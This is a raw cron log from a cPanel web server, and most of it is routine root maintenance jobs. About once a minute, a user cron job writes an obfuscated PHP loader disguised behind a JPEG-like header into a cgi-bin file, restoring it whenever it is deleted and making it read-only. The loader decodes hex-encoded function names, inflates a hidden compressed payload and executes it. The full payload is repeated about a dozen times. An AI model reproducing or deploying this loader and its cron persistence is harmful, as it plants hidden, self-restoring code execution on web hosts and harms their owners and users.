Sep  2 09:32:01 server CROND[27537]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:32:01 server CROND[27538]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:32:01 server CROND[27539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:33:01 server CROND[27925]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:33:01 server CROND[27926]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:33:01 server CROND[27927]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:34:01 server CROND[28408]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:34:01 server CROND[28409]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:34:01 server CROND[28410]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:35:01 server CROND[28804]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 09:35:01 server CROND[28805]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 09:35:01 server CROND[28807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:35:01 server CROND[28812]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 09:35:01 server CROND[28815]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:35:01 server CROND[28811]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 09:35:01 server CROND[28813]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  2 09:35:01 server CROND[28810]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 09:35:01 server CROND[28814]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:36:01 server CROND[29650]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:36:01 server CROND[29652]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:36:01 server CROND[29651]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:37:01 server CROND[30042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:37:01 server CROND[30043]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:37:01 server CROND[30046]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:38:01 server CROND[30435]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:38:01 server CROND[30436]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:38:01 server CROND[30437]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:39:01 server CROND[30915]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:39:01 server CROND[30916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:39:01 server CROND[30917]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:39:01 server CROND[30918]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 09:40:01 server CROND[31312]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 09:40:01 server CROND[31313]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 09:40:01 server CROND[31315]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 09:40:01 server CROND[31321]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:40:01 server CROND[31320]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 09:40:01 server CROND[31323]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:40:01 server CROND[31322]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 09:40:01 server CROND[31325]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:41:01 server CROND[32156]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:41:01 server CROND[32155]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:41:01 server CROND[32157]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:42:01 server CROND[32553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:42:01 server CROND[32554]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 09:42:01 server CROND[32555]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:42:01 server CROND[32556]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:43:01 server CROND[498]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:43:01 server CROND[500]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:43:01 server CROND[499]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
